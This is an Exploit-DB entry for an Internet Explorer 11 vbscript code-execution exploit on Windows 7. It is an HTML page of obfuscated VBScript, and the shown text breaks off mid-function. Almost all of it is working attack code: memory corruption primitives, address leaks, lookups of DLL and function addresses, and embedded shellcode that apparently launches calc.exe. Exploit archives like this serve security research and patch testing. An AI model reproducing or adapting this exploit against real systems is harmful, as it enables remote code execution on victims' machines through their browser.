Exploit-DB #44741
Description: Microsoft Internet Explorer 11 (Windows 7 x86/x64) - vbscript Code Execution
Type: local
Platform: windows
Date: 2018-05-21
Author: smgorelik

Exploit:
<!doctype html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="x-ua-compatible" content="IE=10">
<meta http-equiv="Expires" content="0">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-control" content="no-cache">
<meta http-equiv="Cache" content="no-cache">
</head>
<body>
<script language="vbscript">
Dim lIIl
Dim IIIlI(6),IllII(6)
Dim IllI
Dim IIllI(40)
Dim lIlIIl,lIIIll
Dim IlII
Dim llll,IIIIl
Dim llllIl,IlIIII
Dim NtContinueAddr,VirtualProtectAddr

IlII=195948557
lIlIIl=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
lIIIll=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
IllI=195890093
Function IIIII(Domain) 
	lIlII=0
	IllllI=0
	IIlIIl=0
	Id=CLng(Rnd*1000000)
	lIlII=CLng((&h27d+8231-&H225b)*Rnd)Mod (&h137d+443-&H152f)+(&h1c17+131-&H1c99)
	If(Id+lIlII)Mod (&h5c0+6421-&H1ed3)=(&h10ba+5264-&H254a) Then
		lIlII=lIlII-(&h86d+6447-&H219b)
	End If

	IllllI=CLng((&h2bd+6137-&H1a6d)*Rnd)Mod (&h769+4593-&H1940)+(&h1a08+2222-&H2255)
	IIlIIl=CLng((&h14e6+1728-&H1b5d)*Rnd)Mod (&hfa3+1513-&H1572)+(&h221c+947-&H256e)
	IIIII=Domain &"?" &Chr(IllllI) &"=" &Id &"&" &Chr(IIlIIl) &"=" &lIlII
End Function

Function lIIII(ByVal lIlIl)
	IIll=""
	For index=0 To Len(lIlIl)-1
		IIll=IIll &lIlI(Asc(Mid(lIlIl,index+1,1)),2)
	Next
	IIll=IIll &"00"
	If Len(IIll)/(&h15c6+3068-&H21c0) Mod (&h1264+2141-&H1abf)=(&hc93+6054-&H2438) Then
		IIll=IIll &"00"
	End If
	For IIIl=(&h1a1a+3208-&H26a2) To Len(IIll)/(&h1b47+331-&H1c8e)-(&h14b2+4131-&H24d4)
		lIIIlI=Mid(IIll,IIIl*(&h576+1268-&Ha66)+(&ha64+6316-&H230f),(&ha49+1388-&Hfb3))
		lIlIll=Mid(IIll,IIIl*(&hf82+3732-&H1e12)+(&h210+2720-&Hcaf)+(&h4fa+5370-&H19f2),(&hf82+5508-&H2504))
		lIIII=lIIII &"%u" &lIlIll &lIIIlI
	Next
End Function
Function lIlI(ByVal Number,ByVal Length)
	IIII=Hex(Number)
	If Len(IIII)<Length Then
		IIII=String(Length-Len(IIII),"0") &IIII    'pad allign with zeros 
	Else
		IIII=Right(IIII,Length)
	End If
	lIlI=IIII
End Function
Function GetUint32(lIII)
	Dim value
	llll.mem(IlII+8)=lIII+4
	llll.mem(IlII)=8		'type string
	value=llll.P[PII_REDACTED]
	llll.mem(IlII)=2
	GetUint32=value
End Function
Function IllIIl(lIII)
	IllIIl=GetUint32(lIII) And[PII_REDACTED]6)
End Function
Function lllII(lIII)
	lllII=GetUint32(lIII)  And (&h17eb+1312-&H1c0c)
End Function
Sub llllll
End Sub
Function GetMemValue
	llll.mem(IlII)=(&h713+3616-&H1530)
	GetMemValue=llll.mem(IlII+(&h169c+712-&H195c))
End Function
Sub SetMemValue(ByRef IlIIIl)
	llll.mem(IlII+(&h715+3507-&H14c0))=IlIIIl
End Sub
Function LeakVBAddr
	On Error Resume Next
	Dim lllll
	lllll=llllll
	lllll=null
	SetMemValue lllll
	LeakVBAddr=GetMemValue()
End Function
Function GetBaseByDOSmodeSearch(IllIll)
	Dim llIl
	llIl=IllIll And &hffff0000
	Do While GetUint32(llIl+(&h748+4239-&H176f))<>544106784 Or GetUint32(llIl+(&ha2a+7373-&H268b))<>542330692
		llIl=llIl-65536
	Loop
	GetBaseByDOSmodeSearch=llIl
End Function
Function StrCompWrapper(lIII,llIlIl)
	Dim lIIlI,IIIl
	lIIlI=""
	For IIIl=(&ha2a+726-&Hd00) To Len(llIlIl)-(&h2e1+5461-&H1835)
		lIIlI=lIIlI &Chr(lllII(lIII+IIIl))
	Next
	StrCompWrapper=StrComp(UCase(lIIlI),UCase(llIlIl))
End Function
Function GetBaseFromImport(base_address,name_input)
	Dim import_rva,nt_header,descriptor,import_dir
	Dim IIIIII
	nt_header=GetUint32(base_address+(&h3c))
	import_rva=GetUint32(base_address+nt_header+&h80)
	import_dir=base_address+import_rva
	descriptor=0
	Do While True
		Dim Name
		Name=GetUint32(import_dir+descriptor*(&h14)+&hc)
		If Name=0 Then
			GetBaseFromImport=&hBAAD0000
			Exit Function
		Else
			If StrCompWrapper(base_address+Name,name_input)=0 Then
				Exit Do
			End If
		End If
		descriptor=descriptor+1
	Loop
	IIIIII=GetUint32(import_dir+descriptor*(&h14)+&h10)
	GetBaseFromImport=GetBaseByDOSmodeSearch(GetUint32(base_address+IIIIII))
End Function

Function GetProcAddr(dll_base,name)
	Dim p,export_dir,index
	Dim function_rvas,function_names,function_ordin
	Dim Illlll
	p=GetUint32(dll_base+&h3c)
	p=GetUint32(dll_base+p+&h78)
	export_dir=dll_base+p

	function_rvas=dll_base+GetUint32(export_dir+&h1c)
	function_names=dll_base+GetUint32(export_dir+&h20)
	function_ordin=dll_base+GetUint32(export_dir+&h24)
	index=0
	Do While True
		Dim lllI
		lllI=GetUint32(function_names+index*4)
		If StrCompWrapper(dll_base+lllI,name)=0 Then
			Exit Do
		End If
		index=index+1
	Loop
	Illlll=IllIIl(function_ordin+index*2)
	p=GetUint32(function_rvas+Illlll*4)
	GetProcAddr=dll_base+p
End Function

Function GetShellcode()
	IIlI=Unescape("%u0000%u0000%u0000%u0000") &Unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u652e%u6578%u4100%u0065%u0000%u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc" &lIIII(IIIII("")))
	IIlI=IIlI & String((&h80000-LenB(IIlI))/2,Unescape("%u4141"))
	GetShellcode=IIlI
End Function
Function EscapeAddress(ByVal value)
	Dim High,Low
	High=lIlI((value And &hffff0000)/&h10000,4)
	Low=lIlI(value And &hffff,4)
	EscapeAddress=Unescape("%u" &Low &"%u" &High)
End Function
Function lIllIl
	Dim IIIl,IlllI,IIlI,IlIII,llllI,llIII,lIllI
	IlllI=lIlI(NtContinueAddr,8)
	IlIII=Mid(IlllI,1,2)
	llllI=Mid(IlllI,3,2)
	llIII=Mid(IlllI,5,2)
	lIllI=Mid(IlllI,7,2)
	IIlI=""
	IIlI=IIlI &"%u0000%u" &lIllI &"00"
	For IIIl=1 To 3
		IIlI=IIlI &"%u" &llllI &llIII
		IIlI=IIlI &"%u